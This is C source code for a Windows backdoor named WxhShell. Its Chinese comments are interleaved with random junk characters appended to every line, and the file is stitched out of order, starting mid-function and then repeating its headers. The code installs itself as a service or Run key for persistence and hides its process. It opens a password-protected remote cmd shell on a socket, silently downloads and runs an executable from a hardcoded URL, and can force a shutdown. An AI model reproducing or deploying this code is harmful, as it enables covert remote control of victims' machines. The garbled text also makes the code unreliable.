    if(Boot(SHUTDOWN)) j%OnLTZ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); lBnG!!VrWa  
    else { N}j^55M_]  
    closesocket(wsh); `Hq)g1a7q  
    ExitThread(0); }mSfg  
    } 3QzHQU  
    break; =o+))R4  
    } ~85Pgb<  
  // 获取shell Yet!qmZ  
  case 's': { \!,@pe_  
    CmdShell(wsh); jaI mO  
    closesocket(wsh); 5x; y{qT  
    ExitThread(0); N>4uqFo  
    break; 1A b=1g{  
  } edD"jq)J  
  // 退出 VC@{cVT  
  case 'x': { @AU<'?k  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); #v`J]I)$  
    CloseIt(wsh); 5KFd/9  
    break; =e$6o2!'}  
    } eb>YvC  
  // 离开 v(2|n}qY  
  case 'q': { |,Xrt8O/[  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); _o-D},f*e  
    closesocket(wsh); 1f^4J~{  
    WSACleanup(); C) "|sG  
    exit(1);  R)?zL;,x  
    break; #D&]5"0cX  
        } D#n^U `\if  
  } 1Q ^YaHzuW  
  } ZNvnVW<  
-] .Y";  
  // 提示信息 NuqWezJm&  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ` 'y[i  
} -5 YvtL  
  } ) b vZ~t+^  
}{Ncww!iN  
  return; +\a`:QET  
} Y|iJO>_Uu=  
DdL0MGwX  
// shell模块句柄 RjS&^u aP  
int CmdShell(SOCKET sock) n(#159pZ  
{ -S"$S16D  
STARTUPINFO si; G.} 3hd0  
ZeroMemory(&si,sizeof(si)); er?'o1M  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; d8? }69:h  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 1wpeYn7>W  
PROCESS_INFORMATION ProcessInfo; duKR;5:  
char cmdline[]="cmd"; YkKq}DXj  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); L27i_4E,  
  return 0; "38ya2*  
} .V?i3  
m1k+u)7kD  
// 自身启动模式 FV&&  
int StartFromService(void) .Qp5wCkM  
{ + fQ=G/  
typedef struct ddMSiwbY)  
{ r>hkm53  
  DWORD ExitStatus; Ta38/v;S  
  DWORD PebBaseAddress; (f  0p   
  DWORD AffinityMask; TB gD"i-  
  DWORD BasePriority; OwwlQp ~!J  
  ULONG UniqueProcessId; EQkv&k5X  
  ULONG InheritedFromUniqueProcessId; \Om< FH}  
}   PROCESS_BASIC_INFORMATION; 6uYCU|JsU  
z Lw=*  
PROCNTQSIP NtQueryInformationProcess; /?jAG3"  
tndtwM*B'  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 5CxD ys&<  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; =yf LqU  
%jK-}0Tu  
  HANDLE             hProcess; c D+IMlT  
  PROCESS_BASIC_INFORMATION pbi; 9T4x1{mO  
MEQ :[;1  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); XQu~/{A=  
  if(NULL == hInst ) return 0; fL8+J]6A6  
p*rBT,'  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); pNo<:p  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); AWP CJmr  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); vmW4 3K;  
h,q%MZ==^s  
  if (!NtQueryInformationProcess) return 0; L_.BcRy  
9IKFrCO9,  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); aZYa<28?L%  
  if(!hProcess) return 0; dE*n!@  
;wfzlUBC  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Nt^R~#8hF>  
mJu;B3@  
  CloseHandle(hProcess); P+sxlf:0  
8Hf!@p6R+  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); xS` %3+|  
if(hProcess==NULL) return 0; 5uK:f\y)l  
N9D<wAK##)  
HMODULE hMod; A-O@e e  
char procName[255]; U3 e3  
unsigned long cbNeeded; +k'5W1e  
) =<,$|g  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); w<*tbq  
> _1*/o JO  
  CloseHandle(hProcess); zxtx~XO  
2;G^>BP<  
if(strstr(procName,"services")) return 1; // 以服务启动 \+E{8&TH'  
bIP{DxKS  
  return 0; // 注册表启动 VpJ/M(UD-  
} e uS"C*  
(xJ6 : u  
// 主模块 aD,sx#g0  
int StartWxhshell(LPSTR lpCmdLine) yVm~5Y&Z  
{ ?9_<LE q  
  SOCKET wsl; +Eh1>m  
BOOL val=TRUE; 4!<8Dd  
  int port=0; " z\T$/  
  struct sockaddr_in door; }+0{opY4R  
BF2,E<^A  
  if(wscfg.ws_autoins) Install(); K vC`6  
A('=P}I^  
port=atoi(lpCmdLine); FW:x XK  
T=}(S4n#BX  
if(port<=0) port=wscfg.ws_port; *doK$wYP  
pvJ@$L `'  
  WSADATA data; tFL/zqgm  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; &}S#6|[i  
1@C0c%  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   I|JMkP  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); zg&<HJO  
  door.sin_family = AF_INET; _|xO4{X  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); "P=OpFV  
  door.sin_port = htons(port); + ?n81|7`  
1vBR\!d?7  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { l;: L0(('  
closesocket(wsl); 'D8WNZ8Q  
return 1; w1/p wzn  
} U7.3`qd"  
~]DGf(   
  if(listen(wsl,2) == INVALID_SOCKET) { Qj? +R F6(  
closesocket(wsl); [y| "iSD  
return 1; GFOd9=[  
} !@!,7te  
  Wxhshell(wsl); 0&Q-y&$7  
  WSACleanup(); 3(':4Tas  
U[=VW0  
return 0; 0b9K/a%sQv  
I0=YIcH5  
} 7wsn8_n9  
*,~d!Fc  
// 以NT服务方式启动 S1&mY'c  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) dJM)~Ay-  
{ wp`a:QZ8N  
DWORD   status = 0;  2&O!<C j  
  DWORD   specificError = 0xfffffff; &a%|L=FY  
xSZgQF~  
  serviceStatus.dwServiceType     = SERVICE_WIN32; m5SJB]a/  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 7.$0LN/a!Z  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 3>%rm%ffE  
  serviceStatus.dwWin32ExitCode     = 0; d0~F|j\#  
  serviceStatus.dwServiceSpecificExitCode = 0; `3^ *K/K\  
  serviceStatus.dwCheckPoint       = 0; nVV>;e[  
  serviceStatus.dwWaitHint       = 0; ^4_)a0Kcm,  
Iodk1Y;  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); >6Y\CixN  
  if (hServiceStatusHandle==0) return; /=A?O\B7  
`:!mPNW#  
status = GetLastError(); t\E#8  
  if (status!=NO_ERROR) xz5Jli  
{ jXkz,]Iy  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 9l9 nT  
    serviceStatus.dwCheckPoint       = 0; uPc}a3'?  
    serviceStatus.dwWaitHint       = 0; ULqnr@/FbK  
    serviceStatus.dwWin32ExitCode     = status; 9(DS"fgC  
    serviceStatus.dwServiceSpecificExitCode = specificError; $-m@cObw!.  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); \];0S4SBy  
    return; N"/jn_>+j  
  } $Zp\^cIE+  
tM]~^U  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; pb1/HhRR^n  
  serviceStatus.dwCheckPoint       = 0; TaeN?jc5  
  serviceStatus.dwWaitHint       = 0; "Q6oPDX(  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); MZ o\1tU-i  
} z=B*s!G  
Mfe/(tlI  
// 处理NT服务事件,比如:启动、停止 Ehu^_HZ  
VOID WINAPI NTServiceHandler(DWORD fdwControl) nIJ2*QJ  
{ bB@1tp0+  
switch(fdwControl) 6lOT5C eJ"  
{ `P<}MeJ\l  
case SERVICE_CONTROL_STOP: sL|*0,#K  
  serviceStatus.dwWin32ExitCode = 0; 7N,E%$QL  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; B)g7MG  
  serviceStatus.dwCheckPoint   = 0; js)M c*]&  
  serviceStatus.dwWaitHint     = 0; %719h>$  
  { -jdS8n4  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); L\}o(P(  
  } .'JO7of  
  return;  -iWt~  
case SERVICE_CONTROL_PAUSE: z^+f3-Z  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; U|. kAI*  
  break; Ahk6{uz  
case SERVICE_CONTROL_CONTINUE: Nw[TP G5  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; rk:^^r>5Qi  
  break; F|3Te?_  
case SERVICE_CONTROL_INTERROGATE: yEIM58l  
  break; hp+=UnW  
}; )isz }?Dj  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); NpqMdd   
} B-PN +P2  
;`',M6g  
// 标准应用程序主函数 <dl:';@a-  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 6r{NW9y'  
{ "s[wLclfG  
8)HUo?/3  
// 获取操作系统版本 UZ7Zzc#g  
OsIsNt=GetOsVer(); L#mf[a@pCn  
GetModuleFileName(NULL,ExeFile,MAX_PATH); HZC^Q7]hy  
[E<NEl *  
  // 从命令行安装 =V~p QbZ  
  if(strpbrk(lpCmdLine,"iI")) Install(); 6U5L>sQ  
RhR{EO  
  // 下载执行文件  PNY"Lqj  
if(wscfg.ws_downexe) { 5'wWj}0!%  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) @ -CZa^g  
  WinExec(wscfg.ws_filenam,SW_HIDE); !qk+>6~A,  
} I WKq_Zjkz  
F,+nj?i!  
if(!OsIsNt) { vFm8T58 7  
// 如果时win9x,隐藏进程并且设置为注册表启动 yXP+$oox9  
HideProc(); /ap3>xkt  
StartWxhshell(lpCmdLine); ? cU9~=  
} KGb:NQ=O6i  
else .Qk T-12  
  if(StartFromService()) ))m\d*  
  // 以服务方式启动 RQhS]y@e  
  StartServiceCtrlDispatcher(DispatchTable); =p~k5k4  
else XE8>& & X  
  // 普通方式启动 T1AD(r\W5  
  StartWxhshell(lpCmdLine); TLbnG$VQS  
o;5 J=  
return 0; $P'Y  
} |8^53*f ?  
6HocF/Ye  
Gy 0 m  
bQd'objpY  
=========================================== &$$KC?!w  
(%.[MilxPM  
L~9Q7 6w  
5hN)y-4@  
7[=*#7}.  
e$kBpG"D  
" c"HB7  
'w//d $+G_  
#include <stdio.h> ou8V7  
#include <string.h> Ai>=n;  
#include <windows.h> *} @Y"y  
#include <winsock2.h> Wk<heF  
#include <winsvc.h> Xc8r[dX  
#include <urlmon.h> Lv;% z  
b)ytm=7ha  
#pragma comment (lib, "Ws2_32.lib") -u+@5K;^Y  
#pragma comment (lib, "urlmon.lib") 2tPW1"M.n  
%-9?rOr  
#define MAX_USER   100 // 最大客户端连接数 n!Hj4~T0  
#define BUF_SOCK   200 // sock buffer M~'4>h}  
#define KEY_BUFF   255 // 输入 buffer s4V-brCM$|  
yC#%fgQ r  
#define REBOOT     0   // 重启 HK}br!?  
#define SHUTDOWN   1   // 关机 2IMU &  
3 s%Kw,z  
#define DEF_PORT   5000 // 监听端口 h&5bMW  
Hwb+@'o  
#define REG_LEN     16   // 注册表键长度 1M@OBfB8  
#define SVC_LEN     80   // NT服务名长度 VZveNz@]r  
zD}@QoB  
// 从dll定义API %vF,wQC  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); l-^2>K[  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); s"OP[YEke/  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 9mA6nmp  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); HrOq>CSR  
i28WgDG)5  
// wxhshell配置信息 A]<+Aq@{  
struct WSCFG { )ZZjuFQJ)  
  int ws_port;         // 监听端口 R:N4_4& C~  
  char ws_passstr[REG_LEN]; // 口令 d `MTc  
  int ws_autoins;       // 安装标记, 1=yes 0=no J!{"^^*  
  char ws_regname[REG_LEN]; // 注册表键名 GgT 5'e;N  
  char ws_svcname[REG_LEN]; // 服务名 +lYo5\1=  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 uX/K/4  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 "Y'MuV'x  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 h D5NX  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ^Pwtu  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" |ty?Ah,vb  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Zc!rL0T  
DsJ ikg(J  
}; 5r2A^<)  
mYUR(*[  
// default Wxhshell configuration 1R-1#<a>&  
struct WSCFG wscfg={DEF_PORT, IvZ,|R?  
    "xuhuanlingzhe", 7{z\^R^O  
    1, @n|Mr/PAj  
    "Wxhshell", *r)/Vx`S  
    "Wxhshell", d9=i{i3  
            "WxhShell Service", r~[Bzw"c  
    "Wrsky Windows CmdShell Service", nu(;yIRP  
    "Please Input Your Password: ", Ppton+?(  
  1, mV>l`&K=  
  "http://www.wrsky.com/wxhshell.exe", ()}(3>O-  
  "Wxhshell.exe" '@0Z#A  
    }; #}xw *)3  
s78MXS?py  
// 消息定义模块 /]1$Soo  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ^5'pJ/BV  
char *msg_ws_prompt="\n\r? for help\n\r#>"; gPE` mE  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; F>F2Yql&W  
char *msg_ws_ext="\n\rExit."; C(%b!Q,2  
char *msg_ws_end="\n\rQuit."; jT'09r3P  
char *msg_ws_boot="\n\rReboot..."; 60\`TsFobT  
char *msg_ws_poff="\n\rShutdown..."; PEr &|H2  
char *msg_ws_down="\n\rSave to "; r5,V-5b  
ohJo1}{  
char *msg_ws_err="\n\rErr!"; !eu\ShI  
char *msg_ws_ok="\n\rOK!"; y:HH@aa)  
Sj'Iz #  
char ExeFile[MAX_PATH]; d6+$[4w  
int nUser = 0; 2RbK##`vC  
HANDLE handles[MAX_USER]; v:F_! Q  
int OsIsNt; AAXlBY6Y-  
fzdWM:g  
SERVICE_STATUS       serviceStatus; eIDrN%3  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Xi~7pH  
H*H~~yQ  
// 函数声明 MD):g @  
int Install(void); @?2ES@G+Ji  
int Uninstall(void); )FdS;]  
int DownloadFile(char *sURL, SOCKET wsh); )Fsc0_  
int Boot(int flag); Te6cw+6  
void HideProc(void); 39qIoaHT  
int GetOsVer(void); ;;|o+4Ob;  
int Wxhshell(SOCKET wsl); $ucDz f=o  
void TalkWithClient(void *cs); Z g.La<#  
int CmdShell(SOCKET sock); 6!Q,X Hs  
int StartFromService(void); O0^?VW$y_  
int StartWxhshell(LPSTR lpCmdLine); ;7>k[?'e  
NNxz Z!q!  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); <GWzdj?  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); wS7nTZfw  
v]GQb  
// 数据结构和表定义 12VSzIm  
SERVICE_TABLE_ENTRY DispatchTable[] = S[;d\Z]~  
{ }`pxs  
{wscfg.ws_svcname, NTServiceMain}, >Jk]=_%  
{NULL, NULL} [.Rdq]w6  
}; yU"lJ>Eh}}  
uXouN$&  
// 自我安装 ge4QaK  
int Install(void) <nk9IAH  
{ ^~1Z"kAnT  
  char svExeFile[MAX_PATH]; ^)E# c  
  HKEY key; HfPu~P  
  strcpy(svExeFile,ExeFile); ^]NFr*'!  
Bwc_N.w?3  
// 如果是win9x系统,修改注册表设为自启动 X \BxRgl},  
if(!OsIsNt) { O?`_RN4l  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { KG=57=[  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 1EMud,,:  
  RegCloseKey(key); :V0sKg|sS  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { #F=!g?  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 5{xK&[wR*  
  RegCloseKey(key); #9glGPR(  
  return 0; +-!2nk`"a  
    } l*w*e.ezQ  
  } hLr\;Swyp  
} 4;2  
else { !%'"l{R  
8AJ#].q0F  
// 如果是NT以上系统,安装为系统服务 Ys0N+  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); n5 2Q-6H  
if (schSCManager!=0) #OlPnP2  
{ "s.hO0Z  
  SC_HANDLE schService = CreateService [Y4Wm?  
  ( Z,oCkv("n  
  schSCManager, 74=zLDDS  
  wscfg.ws_svcname, !C@+CZXLx  
  wscfg.ws_svcdisp, kIR/.Ij}  
  SERVICE_ALL_ACCESS, \beYb0(+  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , q#O 8Fv  
  SERVICE_AUTO_START, 5.LfN{gE)  
  SERVICE_ERROR_NORMAL, +1]A$|qyW  
  svExeFile, f28bBuv1?  
  NULL, f~R+Q/Gtz`  
  NULL, w! PguP  
  NULL, >QdT 7gB  
  NULL, !;UoZ~  
  NULL nT%ko7~-  
  ); >qVSepK3  
  if (schService!=0) (<}BlL   
  { L6"V=^Bq  
  CloseServiceHandle(schService); kEp{L  
  CloseServiceHandle(schSCManager); j[A:So  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); :Y|[?;  
  strcat(svExeFile,wscfg.ws_svcname); r&+w)U~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { c,:nWf  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); p^1~o/  
  RegCloseKey(key); @ qS Z=  
  return 0; / E!N:g<  
    } 7h.fT`  
  } {DapXx  
  CloseServiceHandle(schSCManager); q8!]x-5$6j  
} YkbuyUui  
} *c>B-Fo/D  
0YC|;`J  
return 1; Tol"D2cyf  
} X/_89<&  
&xpvHKJl  
// 自我卸载 ,n2"N5{jw  
int Uninstall(void) "A> _U<Y  
{ M.HMn N#  
  HKEY key; S0tkqA4  
0g;)je2_2?  
if(!OsIsNt) { Z]w?RL  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { |\>Ifv%{  
  RegDeleteValue(key,wscfg.ws_regname); 1ASoH,D/  
  RegCloseKey(key); $AizKiV  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { xf{ZwS%X  
  RegDeleteValue(key,wscfg.ws_regname); CEVisKcE:  
  RegCloseKey(key); 4hxa|f  
  return 0; iuA_ Jr  
  } <I#M^}`  
} +`iJ+  
} +4Fw13ADE  
else { 1Ko4O)L]&  
& WeN{  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); <'QI_mP*  
if (schSCManager!=0) )}P/xY0  
{ cwOa"]t}  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); kS?CKd9by  
  if (schService!=0) ^wD`sj<Qg  
  { MxH |yo[  
  if(DeleteService(schService)!=0) { !b=W>5h  
  CloseServiceHandle(schService); *^w}SE(  
  CloseServiceHandle(schSCManager); Ss0I{0  
  return 0; 8 C9ny}  
  } _Ie:!q  
  CloseServiceHandle(schService); sm;kg=  
  } H@u5&  
  CloseServiceHandle(schSCManager); e,r7UtjoxR  
} s7sTY   
} 1:r#m- \  
_u'y7-  
return 1; Uy.ihh$I-  
} ^^lx Ot  
:[CEHRc7x  
// 从指定url下载文件 3 /PvH E{R  
int DownloadFile(char *sURL, SOCKET wsh) ` Z/ MQ  
{ e0#t  
  HRESULT hr; 'tDUPm38  
char seps[]= "/"; >_\[C?8  
char *token; `H 'wz7  
char *file; ^KnK \  
char myURL[MAX_PATH]; BOh^oQh  
char myFILE[MAX_PATH]; B[q"o I`  
Sfa=AV7K  
strcpy(myURL,sURL); 1*|/N}g)  
  token=strtok(myURL,seps); +,]VXH<y  
  while(token!=NULL) <s7cCpUFP  
  { [9B1%W  
    file=token; g~$UU(HX  
  token=strtok(NULL,seps); `/?'^A%Ik  
  } =6+99<G|%M  
+xgP&nw[-  
GetCurrentDirectory(MAX_PATH,myFILE); 3Fxr=  
strcat(myFILE, "\\"); a4gX@&it_k  
strcat(myFILE, file); AW E ab  
  send(wsh,myFILE,strlen(myFILE),0); awI{%u_(nA  
send(wsh,"...",3,0); CUHT5J*sY  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); bdY:-8!3  
  if(hr==S_OK) nt+OaXe5D  
return 0; #@xB ?u-0q  
else !A1~{G2VL_  
return 1; ZzjCS2U  
2wDDVUwyB  
} + ~5P7dh6  
YaL:6[6  
// 系统电源模块 OScqf]H  
int Boot(int flag) s2GF*{  
{ (KwC,0p  
  HANDLE hToken; =Xg/[J%  
  TOKEN_PRIVILEGES tkp; "<{|ni}  
,p OGT71  
  if(OsIsNt) { 3Pllxq<n  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); hF$qH^-c*A  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); <hj2'd U  
    tkp.PrivilegeCount = 1; GmaNi  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; lG Bg8/[  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); #9Jr?K43  
if(flag==REBOOT) { n>R(e>  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) O`@- b#  
  return 0; =<#G~8WYz  
} U4^c{KWS  
else { tXH;4K@  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) lixM0  
  return 0; pf107S  
} ]@b9m  
  } -B9e&J {K  
  else { RRB=JP{r  
if(flag==REBOOT) { \@WVeFr  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) dS3\P5D.*c  
  return 0; 1+WVh7gF  
} i>]PW|]  
else { `}KxzD  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 1kw*Q:   
  return 0; )dqNN tS  
} fK+ 5   
} pjX=:K|  
Eu:/U*j  
return 1; mO]>]   
} ZJQFn  
]K*R[  
// win9x进程隐藏模块 gwQMy$  
void HideProc(void) 5h`LWA B  
{ )\ceanS  
4xr^4\ lk  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Su"Z3gm5Kw  
  if ( hKernel != NULL ) 9Dgs A`{$  
  { Ul9^"o  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); K%+4M#jj5  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Q}OloA(+  
    FreeLibrary(hKernel); op5 `#{  
  } 8cG`We8l&  
q(:L8nKT]  
return; +(92}~RK  
} A8{ xZsH  
.pQ5lK(R  
// 获取操作系统版本 cS7\,/4S  
int GetOsVer(void) )\EIXTZY=  
{ Ec}%!p_$  
  OSVERSIONINFO winfo; _1qR1< V  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 3MFT P5~  
  GetVersionEx(&winfo); p\&/m  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) !?0C(VL(:  
  return 1; ;'8Wl  
  else  <{Y3}Q  
  return 0; NRJp8G Z%U  
} ]6[+tpx  
q%e'WMG~n  
// 客户端句柄模块 H~nX! sO  
int Wxhshell(SOCKET wsl) >MN"87U6  
{ ?%UiW7}j';  
  SOCKET wsh; oJr+RO  
  struct sockaddr_in client; e4SS'0|  
  DWORD myID; xxvt<J  
k[ zyR  
  while(nUser<MAX_USER) o]Ne|PEpO  
{ ]!"w?-h Si  
  int nSize=sizeof(client); rFpYlMct  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); su%-b\8K  
  if(wsh==INVALID_SOCKET) return 1; GI/NouaNfm  
&RARK8 ^  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); xS tsw5d  
if(handles[nUser]==0) 9QXsbd6  
  closesocket(wsh); T?m@`"L,  
else qz]qG=wmL  
  nUser++; X+N5iT  
  }  P>iZ gv  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); eG!ma`v  
 ^AaE$G&:  
  return 0; 5~?6]=hl  
} I V# 8W  
UtTlJb{-j  
// 关闭 socket bRy(`  
void CloseIt(SOCKET wsh) q%])dZ!lE  
{ #<b\BqYG  
closesocket(wsh); 5)T[ha77u  
nUser--; [;Lgbgt3f  
ExitThread(0); V<S6 a  
} G&^8)S@1  
<i</pA  
// 客户端请求句柄 !>> A@3  
void TalkWithClient(void *cs) %K|f,w=m  
{ M' z.d  
g^+p7G  
  SOCKET wsh=(SOCKET)cs;  5)'Y\~2  
  char pwd[SVC_LEN]; ajk}&`Wj"  
  char cmd[KEY_BUFF]; B2Y.1mXq  
char chr[1]; NL$z4m0  
int i,j; }k-8PG =  
XdCP!iq*8  
  while (nUser < MAX_USER) { E#:!&{O  
=EFh*sp  
if(wscfg.ws_passstr) { _MTZuhY  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); L7buY(F(  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 6CHb\k  
  //ZeroMemory(pwd,KEY_BUFF); j AOy3c  
      i=0; dv\bkDF4A  
  while(i<SVC_LEN) { 1gkpK`u(B  
1m"WrTen  
  // 设置超时 g{6jN  
  fd_set FdRead; (JlPe)Q5  
  struct timeval TimeOut; ]VKQm(,0  
  FD_ZERO(&FdRead); Ut\:jV=f  
  FD_SET(wsh,&FdRead); A/I\MN|  
  TimeOut.tv_sec=8; %6uZb sa  
  TimeOut.tv_usec=0; 4vWiOcJF!O  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); PB$beQ  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); !;,\HvEZYw  
jOzXyDq  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); x;yvv3-$  
  pwd=chr[0]; &Jj|+P-lY  
  if(chr[0]==0xd || chr[0]==0xa) { +S0aA Wal  
  pwd=0; _|I8+(~)  
  break; mP }<{oh`x  
  } Y,0Z&6 <  
  i++; 2H.g!( Oza  
    } /}~=)QHH  
7yyX8p>  
  // 如果是非法用户,关闭 socket 3W[?D8yi)  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); D tZ?sG  
} @a@}xgn{  
_xCYh|DlQ|  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); aq_K,li #w  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); }p*|8$#x"  
Tph^o^  
while(1) { fub04x)  
<DR|r  
  ZeroMemory(cmd,KEY_BUFF); *Igb3 xK%  
)m;*d7l~p  
      // 自动支持客户端 telnet标准   OJa(Gds  
  j=0; 4RVqfD  
  while(j<KEY_BUFF) { jdJTOT  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); @ !su7  
  cmd[j]=chr[0]; k*N!U[]  
  if(chr[0]==0xa || chr[0]==0xd) { Vq]ixag2^  
  cmd[j]=0; vO2WZ7E!  
  break; H%Gz"  
  } Qf^c}!I  
  j++; ; &6 {c  
    } yZNG>1 N  
o|h=M/  
  // 下载文件 o FP8s[B  
  if(strstr(cmd,"http://")) { ugTsI~aE  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); E5rV}>(Y  
  if(DownloadFile(cmd,wsh)) fV>d_6Lf}  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); oMg-.!6  
  else Gl'G;F$Y-  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); W/BPf{U  
  } $?W2'Xm!V  
  else { [G$#jUt/O  
